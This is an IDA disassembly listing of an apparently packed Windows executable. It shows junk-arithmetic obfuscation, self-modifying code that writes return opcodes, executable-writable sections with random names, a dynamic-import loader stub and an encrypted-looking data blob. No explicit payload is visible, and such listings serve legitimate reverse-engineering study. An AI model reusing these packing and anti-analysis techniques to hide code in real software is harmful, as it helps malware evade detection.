sub_44DD5B	proc near		; CODE XREF: sub_448EA4+Cp

; FUNCTION CHUNK AT 00442451 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	[ebp-28h], eax
		mov	dword ptr [ebp-14h], 4
		mov	eax, [ebp-14h]
		mov	[ebp-4], eax
		push	offset sub_4471D6
		jmp	loc_442451
sub_44DD5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44DD79	proc near		; CODE XREF: sub_439B90+10471j
		retn
sub_44DD79	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442340

loc_44DD7A:				; CODE XREF: sub_442340-305Cj
		jmp	loc_438F74
; END OF FUNCTION CHUNK	FOR sub_442340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D9CE

loc_44DD7F:				; CODE XREF: sub_44D9CE-2C3Dj
		jg	loc_44A7F5
		jns	loc_440786
		jmp	loc_43C1D5
; END OF FUNCTION CHUNK	FOR sub_44D9CE
; ---------------------------------------------------------------------------

loc_44DD90:				; CODE XREF: kgbikm34:004420D6j
		or	esi, ebp

; =============== S U B	R O U T	I N E =======================================



sub_44DD92	proc near		; CODE XREF: sub_444A5E-F1Fp

; FUNCTION CHUNK AT 0043B5AD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004469F2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D953 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		call	sub_43B5BA
		jmp	loc_4469F2
sub_44DD92	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_312. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44DDA1:				; CODE XREF: kgbikm34:00440A0Ej
		jmp	loc_441BB0
; ---------------------------------------------------------------------------

loc_44DDA6:				; DATA XREF: kgbikm34:loc_43AFD9o
		add	esp, 8
		mov	eax, [eax]
		push	offset sub_43EB2D
		jmp	loc_449AC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF5B

loc_44DDB5:				; CODE XREF: sub_43DF5B-505Aj
		ja	loc_446FB2
		sbb	ecx, 0EA516107h
		xchg	ebp, [eax]

loc_44DDC3:				; CODE XREF: sub_43DF5B:loc_438EEDj
		sub	eax, 7434BDD1h
		add	eax, 0D2829626h
		jmp	loc_439B5A
; END OF FUNCTION CHUNK	FOR sub_43DF5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447E85

loc_44DDD4:				; CODE XREF: sub_447E85:loc_43BB48j
		test	ecx, 100000h
		jmp	loc_44602C
; END OF FUNCTION CHUNK	FOR sub_447E85
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_353. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A987

loc_44DDE0:				; CODE XREF: sub_44A987+Aj
		jmp	loc_44D6F3
; END OF FUNCTION CHUNK	FOR sub_44A987
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44739D

loc_44DDE5:				; CODE XREF: sub_44739D+27CBj
		rol	edx, 7
		add	edx, 7FC544ABh
		add	edx, ebp
		add	edx, 0AA55974Fh
		jmp	loc_446407
; END OF FUNCTION CHUNK	FOR sub_44739D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E0B

loc_44DDFB:				; CODE XREF: sub_440E0B+1Cj
		rol	edx, 14h
		and	edx, 72E22279h
		rol	edx, 13h
		add	edx, 0AFDC3FC2h
		jmp	loc_44AE06
; END OF FUNCTION CHUNK	FOR sub_440E0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439003

loc_44DE12:				; CODE XREF: sub_439003+5924j
		mov	byte ptr [eax],	0C3h
		jmp	sub_43C190
; END OF FUNCTION CHUNK	FOR sub_439003

; =============== S U B	R O U T	I N E =======================================



sub_44DE1A	proc near		; CODE XREF: sub_40158F+159p
					; sub_44DE1A+5j
					; DATA XREF: ...
		call	sub_44DE2F
		jmp	ds:off_41E024
sub_44DE1A	endp

; ---------------------------------------------------------------------------

loc_44DE25:				; CODE XREF: kgbikm34:0044690Fj
		jmp	loc_43FDC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440FF4

loc_44DE2A:				; CODE XREF: sub_440FF4+3j
		jmp	loc_44DC42
; END OF FUNCTION CHUNK	FOR sub_440FF4

; =============== S U B	R O U T	I N E =======================================



sub_44DE2F	proc near		; CODE XREF: kgbikm34:loc_4371E3j
					; kgbikm34:0043DE02j ...

; FUNCTION CHUNK AT 0043DE07 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00441270 SIZE 00000005 BYTES

		pop	edx
		jno	loc_43DE07
		mov	eax, [esp+0]
		jmp	sub_4488CF
sub_44DE2F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439D4B

loc_44DE3E:				; CODE XREF: sub_439D4B:loc_43E1B0j
		popf
		xor	edx, edx
		push	esi
		push	0EF971E2Eh
		jmp	loc_444F0E
; END OF FUNCTION CHUNK	FOR sub_439D4B

; =============== S U B	R O U T	I N E =======================================



sub_44DE4C	proc near		; CODE XREF: kgbikm34:0043A3B1j
					; sub_4474D5+1D89p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043A55B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043ED37 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004401F7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00443F8B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044875D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004499D0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044A022 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		xchg	eax, [esp-4+arg_0]
		push	0F2C9DCCDh
		pop	ecx
		and	ecx, 8A3FCE54h
		xor	ecx, 0AA5DEB72h
		sub	ecx, 8138A48Bh
		jmp	loc_4401F7
sub_44DE4C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44DE70	proc near		; DATA XREF: sub_44D71B:loc_441198o

; FUNCTION CHUNK AT 0043EFA9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043EFB5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004496A4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B52C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C985 SIZE 00000014 BYTES

		jnb	loc_44C985
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0
		jnz	loc_43EFB5
		mov	eax, [ebp-8]
		jmp	loc_445C09
sub_44DE70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F79

loc_44DE8A:				; CODE XREF: sub_446F79:loc_443C7Aj
					; sub_446F79+3B6Aj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_443A4D
		jmp	loc_44C505
; END OF FUNCTION CHUNK	FOR sub_446F79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44527A

loc_44DE9B:				; CODE XREF: sub_44527A+Dj
		xchg	ebx, [esp+0]
		mov	eax, ebx
		pop	ebx
		and	eax, 0FBB316BEh
		add	eax, 64C7A9B8h
		or	eax, 0A6D85302h
		jmp	loc_438920
; END OF FUNCTION CHUNK	FOR sub_44527A
; ---------------------------------------------------------------------------

loc_44DEB8:				; CODE XREF: kgbikm34:0043B2BAj
		jbe	loc_44D363
		sub	ebp, edi
		jb	loc_443EB0
		add	esi, ebp
		adc	ebp, 1A91E6E3h
		jmp	loc_4411AA
; ---------------------------------------------------------------------------

loc_44DED3:				; DATA XREF: sub_43F524+1BECo
		xchg	eax, [esp]
		pushf

loc_44DED7:				; CODE XREF: kgbikm34:loc_446995j
		push	0D8002B2Bh
		pop	eax
		jmp	loc_43A8B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444600

loc_44DEE2:				; CODE XREF: sub_444600+2FFDj
		pop	edx
		and	edx, 0CB5DAFC0h
		or	edx, 0B0BF9854h
		add	edx, 464224C0h
		mov	[edx], eax
		pop	edx
		lea	eax, loc_4377E4
		jmp	loc_444BFA
; END OF FUNCTION CHUNK	FOR sub_444600
; ---------------------------------------------------------------------------

loc_44DF03:				; CODE XREF: kgbikm34:0044D00Aj
		add	eax, esi

loc_44DF05:				; CODE XREF: kgbikm34:loc_44CFF3j
		add	eax, 3ABF5955h
		push	eax
		pushf
		push	0D157A899h
		jmp	loc_438AA7
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		call	sub_43C7C6
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F79

loc_44DF20:				; CODE XREF: sub_446F79:loc_4465E5j
		jmp	loc_44C311
; END OF FUNCTION CHUNK	FOR sub_446F79
; ---------------------------------------------------------------------------
		db 91h,	0EFh, 0B8h
dword_44DF28	dd 0CFD77A00h		; DATA XREF: sub_442401-55FDw
					; sub_44A476+4r
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, edx
		xchg	edi, [esp]
		jmp	loc_4469DD
; ---------------------------------------------------------------------------

locret_44DF37:				; CODE XREF: kgbikm34:00449720j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441353

loc_44DF38:				; CODE XREF: sub_441353-8037j
		jmp	nullsub_346
; END OF FUNCTION CHUNK	FOR sub_441353
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444D26

loc_44DF3D:				; CODE XREF: sub_444D26:loc_442FEDj
		mov	eax, 3684C41Dh
		jmp	loc_4373BC
; END OF FUNCTION CHUNK	FOR sub_444D26
; ---------------------------------------------------------------------------
		jno	loc_4485F1
		jmp	sub_43EF8B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_230. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44DF53:				; DATA XREF: sub_441CC2:loc_44047Eo
		ror	eax, 18h
		jmp	loc_44B241
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446AE3

loc_44DF5B:				; CODE XREF: sub_446AE3j
		push	offset sub_441711
		jmp	nullsub_283
; END OF FUNCTION CHUNK	FOR sub_446AE3
; ---------------------------------------------------------------------------
		mov	eax, 83ED7AACh
		call	sub_43BF6F
		mov	ds:dword_41E0E4, eax
		lea	eax, nullsub_324
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_324
; ---------------------------------------------------------------------------
		call	nullsub_21
		jmp	ds:dword_41E0E8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_21. PRESS	KEYPAD "+" TO EXPAND]
		db 80h
		dd 0FFFFDE8Ah, 0FEAE9CE9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446E38

loc_44DF99:				; CODE XREF: sub_446E38+543Ej
		jge	loc_44CDFD

loc_44DF9F:				; CODE XREF: sub_43FD1A+2D6Bj
		jmp	nullsub_284
; END OF FUNCTION CHUNK	FOR sub_446E38
; ---------------------------------------------------------------------------
		popf
		jmp	loc_44CDF3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_69. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44964D

loc_44DFAB:				; CODE XREF: sub_44964D+2220j
		pop	esi
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_44D6A2
		jmp	loc_4420BD
; END OF FUNCTION CHUNK	FOR sub_44964D
; ---------------------------------------------------------------------------

loc_44DFBD:				; CODE XREF: kgbikm34:00446167j
		jnz	loc_445D39
		sbb	eax, 69838800h
		jmp	loc_44364E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B8BF

loc_44DFCE:				; CODE XREF: sub_44B8BF+1j
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_43C590, 0
		jnz	loc_44D9F2
		call	nullsub_5

loc_44DFE3:				; CODE XREF: sub_449F77-CB19j
		jmp	loc_44D9DE
; END OF FUNCTION CHUNK	FOR sub_44B8BF
; ---------------------------------------------------------------------------
		call	sub_44B64C
		or	eax, eax
		jnz	loc_44C888
		jmp	loc_43DAC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444864

loc_44DFFA:				; CODE XREF: sub_444864-B4E6j
		jz	loc_443DDE
		jmp	loc_449B30
; END OF FUNCTION CHUNK	FOR sub_444864
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439609

loc_44E005:				; CODE XREF: sub_439609:loc_43AA02j
		mov	eax, edx
		push	eax
		push	387FE397h
		pop	eax
		rol	eax, 19h
		or	eax, 7BC2E426h
		rol	eax, 1Bh
		or	eax, 0A05B3055h
		jmp	loc_44156E
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------
		jmp	ds:off_41E050
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B5BA

loc_44E02B:				; CODE XREF: kgbikm34:loc_43B82Bj
					; sub_43F039+478Aj ...
		push	offset loc_44C962
		jmp	loc_4457F8
; END OF FUNCTION CHUNK	FOR sub_43B5BA
; ---------------------------------------------------------------------------

loc_44E035:				; CODE XREF: kgbikm34:00441E98j
		xchg	edi, [esp]
		mov	edx, edi
		pop	edi
		or	edx, 90126B41h
		jmp	loc_441508
; ---------------------------------------------------------------------------
		push	0A9F96144h
		jmp	loc_4451CB
; ---------------------------------------------------------------------------

loc_44E050:				; DATA XREF: sub_44D21F-FB2Eo
		push	eax
		push	offset sub_444C8C
		jmp	locret_44A6E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB3F

loc_44E05B:				; CODE XREF: sub_43EB3F:loc_43C8F7j
		push	offset sub_44E127
		jmp	loc_44B063
; END OF FUNCTION CHUNK	FOR sub_43EB3F

; =============== S U B	R O U T	I N E =======================================



sub_44E065	proc near		; CODE XREF: sub_444681-64F3p
					; kgbikm34:00442E73j
		xchg	edi, [esp+0]
		pop	edi
		add	edx, 830B3E75h
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_446615
		jmp	loc_446027
sub_44E065	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44E080:				; CODE XREF: kgbikm34:loc_43DF1Cj
		pop	eax
		xor	eax, 5572273Bh
		sub	eax, 0B7B84CE8h
		or	eax, 1154F80Eh
		xor	eax, 6EF81FB1h
		call	sub_43BF6F
		call	sub_44A265
; START	OF FUNCTION CHUNK FOR sub_443AFD

loc_44E0A3:				; CODE XREF: sub_443AFD+52D3j
		jmp	nullsub_285
; END OF FUNCTION CHUNK	FOR sub_443AFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A2E

loc_44E0A8:				; CODE XREF: sub_439A2E+EBABj
		and	ebp, edi
		add	ecx, esi
		jmp	loc_439983
; ---------------------------------------------------------------------------

loc_44E0B1:				; CODE XREF: sub_439A2E+4B5j
		sub	al, 99h
		push	4C15F069h
		pop	edx
		add	edx, 922CACA3h
		test	edx, 4000000h
		jmp	loc_43C793
; END OF FUNCTION CHUNK	FOR sub_439A2E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_233. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44E0CB:				; CODE XREF: kgbikm34:00440D8Fj
		call	sub_43BF6F
		push	offset loc_43BA1B
		jmp	loc_443F86
; ---------------------------------------------------------------------------

loc_44E0DA:				; DATA XREF: sub_4471D6-B585o
		mov	edx, [ebp-20h]
		push	offset sub_44535D
		jmp	loc_44B91A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9D6

loc_44E0E7:				; CODE XREF: sub_43C9D6+80FCj
		js	loc_449C77

loc_44E0ED:				; CODE XREF: sub_448FE9+16j
		jmp	loc_43C4CC
; END OF FUNCTION CHUNK	FOR sub_43C9D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445186

loc_44E0F2:				; CODE XREF: sub_445186-2964j
		jmp	loc_43A942
; END OF FUNCTION CHUNK	FOR sub_445186
; ---------------------------------------------------------------------------
		mov	edi, [ebx]
		or	edi, ebx
		jmp	loc_449C77
; ---------------------------------------------------------------------------
		cmp	ebp, ebx
		jmp	loc_447724
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_44E107:				; CODE XREF: sub_43B0B7:loc_44583Ej
		mov	esi, edi
		pop	edi
		push	offset sub_43F461
		jmp	loc_43AA08
; END OF FUNCTION CHUNK	FOR sub_43B0B7

; =============== S U B	R O U T	I N E =======================================



sub_44E114	proc near		; DATA XREF: kgbikm34:0043D9FDo
		mov	byte ptr [eax],	0C3h
		jmp	sub_44B6E1
sub_44E114	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B6E1

loc_44E11C:				; CODE XREF: sub_44B6E1:loc_44AB00j
		mov	eax, [esp+4+var_4]
		push	ecx
		mov	ecx, edx
		jmp	loc_43DA19
; END OF FUNCTION CHUNK	FOR sub_44B6E1

; =============== S U B	R O U T	I N E =======================================



sub_44E127	proc near		; DATA XREF: sub_43EB3F:loc_44E05Bo

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043782D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044B54E SIZE 00000005 BYTES

		add	eax, ebp
		add	eax, 98B63554h
		mov	eax, [eax]
		xchg	esi, [esp+0]
		mov	ecx, esi
		jmp	loc_44B54E
sub_44E127	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440488

loc_44E13B:				; CODE XREF: sub_440488:loc_43A497j
		ja	loc_43AA54
		jl	loc_43A165
		jmp	loc_4482F6
; END OF FUNCTION CHUNK	FOR sub_440488
; ---------------------------------------------------------------------------
		add	eax, 2D2C3C61h
		jmp	loc_43A4B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FD1A

loc_44E157:				; CODE XREF: sub_43FD1A+14j
		jz	loc_44A041
		jmp	loc_43B88D
; END OF FUNCTION CHUNK	FOR sub_43FD1A
; ---------------------------------------------------------------------------

loc_44E162:				; CODE XREF: kgbikm34:004394DBj
		test	esi, 8C071625h
		jmp	loc_440F72
; ---------------------------------------------------------------------------

loc_44E16D:				; CODE XREF: kgbikm34:loc_44BB6Cj
		jz	loc_44B76D

loc_44E173:				; CODE XREF: kgbikm34:0043AAF8j
		jmp	loc_444CC7
; ---------------------------------------------------------------------------
		xor	esi, 0D6A2223Ah
		xor	esi, ebp
		jo	loc_43A74C
		adc	edx, esi
		jnp	loc_447FD5
		jmp	loc_44B76D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443622

loc_44E193:				; CODE XREF: sub_443622+5E41j
		mov	[eax], ebx

loc_44E195:				; CODE XREF: sub_43F4C9:loc_44A011j
		push	331B8127h
		pop	eax
		and	eax, 305B1C5Ch
		or	eax, 6F2C378Dh
		add	eax, 0DF4DEE3Eh
		jmp	loc_447AEC
; END OF FUNCTION CHUNK	FOR sub_443622

; =============== S U B	R O U T	I N E =======================================



sub_44E1B2	proc near		; CODE XREF: sub_447B4A-7011p
					; kgbikm34:004411C2j

; FUNCTION CHUNK AT 0043FAF3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044CFF9 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	6B2162B2h
		pop	eax
		or	eax, 0E6951D7Fh
		rol	eax, 19h
		add	eax, 650A69h
		popf
		jmp	loc_44CFF9
sub_44E1B2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B932

loc_44E1D1:				; CODE XREF: sub_43B932+1D4Fj
		xor	eax, 79E98123h
		call	sub_43BF6F
		push	ebx
		push	offset sub_44E20A
		jmp	nullsub_291
; END OF FUNCTION CHUNK	FOR sub_43B932

; =============== S U B	R O U T	I N E =======================================



sub_44E1E7	proc near		; DATA XREF: kgbikm34:0043EB72o

; FUNCTION CHUNK AT 0043EC48 SIZE 00000005 BYTES

		call	sub_43BF6F
		mov	ds:off_41E0D8, eax
		lea	eax, sub_43F65B
		mov	byte ptr [eax],	0C3h
		jmp	loc_43EC48
sub_44E1E7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F65B

loc_44E200:				; CODE XREF: sub_43F65Bj
		pop	edx
		mov	eax, [esp-8+arg_4]
		push	edx
		jmp	loc_44140B
; END OF FUNCTION CHUNK	FOR sub_43F65B

; =============== S U B	R O U T	I N E =======================================



sub_44E20A	proc near		; DATA XREF: sub_43B932+128ABo

; FUNCTION CHUNK AT 0043D5A1 SIZE 00000023 BYTES

		push	0E2460E46h
		pop	ebx
		sub	ebx, 4FFB58ABh
		or	ebx, 6DC68E02h
		jmp	loc_43D5A1
sub_44E20A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44E221:				; CODE XREF: kgbikm34:004378A7j
		jg	loc_43F92C
		pushf
		jmp	loc_43F68D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ACD5

loc_44E22D:				; CODE XREF: sub_43ACD5+A56Bj
		add	eax, 25B52B6Eh
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43C87D
		jmp	loc_445934
; END OF FUNCTION CHUNK	FOR sub_43ACD5
; ---------------------------------------------------------------------------
		xchg	ebp, [eax]
		jno	loc_44A4D6
		jmp	sub_446F79

; =============== S U B	R O U T	I N E =======================================



sub_44E250	proc near		; CODE XREF: sub_43F65B:loc_44140Bp
					; kgbikm34:0044A8F3j

; FUNCTION CHUNK AT 0043998B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447F2C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044A006 SIZE 0000000B BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	ebx
		push	10C67333h
		jmp	loc_43998B
sub_44E250	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_44E25F:				; CODE XREF: sub_43BCAD+11341j
		add	eax, 6CD35BF5h

loc_44E265:				; CODE XREF: sub_43BCAD:loc_441B74j
		push	503CF85h
		pop	eax
		sub	eax, 106BEDF1h
		test	eax, 8000000h
		jmp	loc_440FA7
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; ---------------------------------------------------------------------------
		mov	eax, 11E35Ch
		push	edi
		push	2E505F7Ah
		pop	edi
		and	edi, 0A4830C93h
		rol	edi, 19h
		add	edi, 0DBFC5AFFh
		xchg	edi, [esp]
		jmp	sub_43BF6F

; =============== S U B	R O U T	I N E =======================================



sub_44E29F	proc near		; CODE XREF: kgbikm34:0043FE81j
					; kgbikm34:0044B5B1p
		xchg	edx, [esp+0]
		pop	edx
		mov	byte ptr [eax],	0C3h
		jmp	loc_446DA8
sub_44E29F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		call	nullsub_72
		jmp	loc_44408E
; ---------------------------------------------------------------------------
		db 58h,	0CFh, 0E3h
		dd 3F888558h, 86CE641Dh, 52622FF2h, 52h, 34Eh dup(0)
kgbikm34	ends

; Section 7. (virtual address 0004F000)
; Virtual size			: 00028000 ( 163840.)
; Section size in file		: 00028000 ( 163840.)
; Offset to raw	data for section: 0004F000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
y3hmw1t3	segment	para public 'CODE' use32
		assume cs:y3hmw1t3
		;org 44F000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		db 0CCh
		db 0F0h, 4, 0
		align 8
		dd 0FFFFFFFFh, 4F03Ch, 4F0B4h, 4F108h, 0
		dd 0FFFFFFFFh, 4F0E8h, 4F104h, 5 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
		dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h
		dd 694C6461h, 72617262h, 4179h,	65470000h, 6F725074h, 64644163h
		dd 73736572h, 0
		dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h
		dd 6C6C416Ch, 636Fh, 69560000h,	61757472h, 6572466Ch, 65h
dword_44F0B4	dd 77E79F93h		; DATA XREF: y3hmw1t3:00475E18r
dword_44F0B8	dd 77E805D8h		; DATA XREF: y3hmw1t3:00475E27r
dword_44F0BC	dd 77E7A5FDh		; DATA XREF: y3hmw1t3:00475E7Er
dword_44F0C0	dd 77E75CB5h		; DATA XREF: sub_473BE0-227r
					; y3hmw1t3:00473BFEr ...
dword_44F0C4	dd 77E7980Ah, 77E79E34h, 4F04Ch, 4F060h, 4F070h, 4F084h
					; DATA XREF: y3hmw1t3:00475FE9o
		dd 4F094h, 4F0A4h, 0
		dd 72657375h, 642E3233h, 6C6Ch,	654D0000h, 67617373h, 786F4265h
		dd 41h
dword_44F104	dd 77D6ADD7h		; DATA XREF: sub_475EA9+64r
		dd 4F0F4h, 0
off_44F110	dd offset dword_41E000,	4 dup(0) ; DATA	XREF: y3hmw1t3:00475F68o
		dd 40000h, 16h dup(0)
		dd 380000h, 0
		dd 0FF000000h, 33018CFAh, 2129002h, 1164B01h, 45540219h
		dd 2C011314h, 1FE4207h,	52563B00h, 0F373F19h, 59EC0130h
		dd 243C4005h, 19371F14h, 330064FEh, 460D410Fh, 0A6FE3202h
		dd 21278B07h, 0A1021543h, 4E2D5F0Ah, 0FE2CA67Eh, 2F020008h
		dd 280F0246h, 2F030A02h, 40050706h, 21074F5Fh, 110F0F02h
		dd 103F0F07h, 0E080A05h, 37B9850h, 700C6027h, 522B2A02h
		dd 51F985Eh, 46041D11h,	2473422h, 44FE0Fh, 0A644241h, 3EFE1Fh
		dd 0F02E420h, 1B0D0DC1h, 2414C316h, 2C2E308h, 7009012Bh
		dd 0AE2F2233h, 2803A18h, 53E1D13h, 98FE52h, 1C540837h
		dd 0AC2C2957h, 6092519h, 593D0220h, 0A36447Ch, 0C074D49h
		dd 0FE261664h, 2483003Dh, 12A024Bh, 7056010Ah, 980E0917h
		dd 2D00C07h, 0A611151Fh, 460902D2h, 26590B0Dh, 0A181002h
		dd 15FE4702h, 79130900h, 33D31E07h, 22E69A3h, 201E2984h
		dd 19021F46h, 80B0102h,	23305003h, 1B5BCA0Ah, 16051445h
		dd 4130511h, 738253Ch, 1D2D3730h, 4F820D08h, 1C1A4548h
		dd 55920F02h, 29675B5Fh, 11223202h, 0E4FEA2h, 2555220h
		dd 0A50020Fh, 4A240B11h, 0A852E0Eh, 219450Fh, 1945794Ch
		dd 3C014A02h, 940F02A5h, 24011052h, 1081534h, 66882F0Ah
		dd 2F3E2802h, 72533C0Ah, 850A1963h, 6B0D2902h, 8602121Bh
		dd 0A30A901Eh, 984F2122h, 0D2A2B05h, 28134148h,	9052651h
		dd 214670Ah, 5302317Ch,	3F3F8601h, 0A7400914h, 5A073010h
		dd 91F052Eh, 8E220107h,	8A183307h, 80C2518h, 735E0948h
		dd 1283660h, 6D10071Bh,	28C64FB8h, 377E0461h, 0C090215h
		dd 0FE01075Ah, 7959003Fh, 38364E33h, 37A1636Fh,	2390215h
		dd 32021A14h, 138E3AFAh, 0C602110Eh, 0F7040E0Dh, 3F2BAA12h
		dd 311165B5h, 0A5395309h, 5153174h, 180F020Ah, 4220648Dh
		dd 6F091502h, 0F020787h, 1658260Ch, 210B385Eh, 42051D01h
		dd 20C4F6Dh, 490124BBh,	0D501354h, 48020C9Ch, 3C0F0212h
		dd 200F0207h, 4F0F022Fh, 391F0193h, 44111691h, 30020C0Fh
		dd 295F0279h, 22140A01h, 4DFE1562h, 55021100h, 33650527h
		dd 387B648h, 0F022212h,	6313071Ah, 0B2F3305h, 107504Fh
		dd 293C1B07h, 0C120F36h, 9E0A3A3Eh, 205F3C40h, 0D523596Eh
		dd 1B1B021Ah, 546C3709h, 742D4F05h, 0C020708h, 21AA153h
		dd 1D13182Fh, 1A3D3327h, 0AE1D183Bh, 68071402h,	48012523h
		dd 12862E1Ch, 268E4953h, 0D1C5F13h, 11410F53h, 2310177h
		dd 3476EF5Bh, 2615294Ah, 6538185Ah, 16303A01h, 302A0758h
		dd 1A2B0F02h, 9F3C0D02h, 3902AA01h, 82020C10h, 3B191E02h
		dd 140D92B6h, 1C4C3E20h, 7492020Bh, 17220F02h, 0C043260h
		dd 2A62FA29h, 131DBA5Dh, 0E140243h, 0BC56F70Fh,	58C82B1Bh
		dd 36319C56h, 0AC300754h, 4261157h, 37130243h, 114067Ah
		dd 31FE1AB5h, 1271900h,	194C5D8Fh, 1B023B52h, 17078A24h
		dd 25C4514h, 1440116Bh,	4C1A241Fh, 16141D02h, 2A64D65h
		dd 502BA0Fh, 602A69A3h,	5162709h, 22C1E2Dh, 1D41980Fh
		dd 9D0016FEh, 0F49054Fh, 1484972h, 223F3448h, 0FE6F0F21h
		dd 3F3000B8h, 451E081Bh, 0A61F3626h, 510190Eh, 0C9021BBEh
		dd 311A9388h, 721BB13h,	10220219h, 27200B25h, 40171055h
		dd 37612D17h, 450C0F48h, 2A013651h, 1430074Eh, 6260E0Ch
		dd 0BC75F0Bh, 1AA9180Fh, 23F0223h, 408E0A4Ah, 410F3E05h
		dd 9EFE1419h, 2805C500h, 36B82A1Eh, 5B216002h, 0FE34461Ch
